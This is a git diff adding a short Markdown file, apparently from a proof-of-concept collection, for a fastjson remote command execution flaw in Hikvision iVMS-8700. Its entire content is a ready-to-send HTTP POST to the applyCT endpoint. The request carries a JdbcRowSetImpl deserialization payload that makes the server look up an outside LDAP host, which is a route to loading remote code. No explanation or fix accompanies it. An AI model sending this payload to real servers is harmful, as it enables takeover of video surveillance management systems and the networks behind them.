diff --git a/海康威视IVMS-8700 fastjson命令执行漏洞.md b/海康威视IVMS-8700 fastjson命令执行漏洞.md
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index 0000000..354efed
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+++ b/海康威视IVMS-8700 fastjson命令执行漏洞.md	
@@ -0,0 +1,17 @@
+## 海康威视IVMS-8700 fastjson命令执行漏洞
+
+```
+POST /bic/ssoService/v1/applyCT HTTP/1.1
+Host: 127.0.0.1
+Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+Upgrade-Insecure-Requests: 1
+Sec-Fetch-Dest: document
+Sec-Fetch-Mode: navigate
+Sec-Fetch-Site: cross-site
+Sec-Fetch-User: ?1
+Te: trailers
+Content-Type: application/json
+Content-Length: 204
+
+{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://kjvqweuoav.dnstunnel.run","autoCommit":true},"hfe4zyyzldp":"="}
+```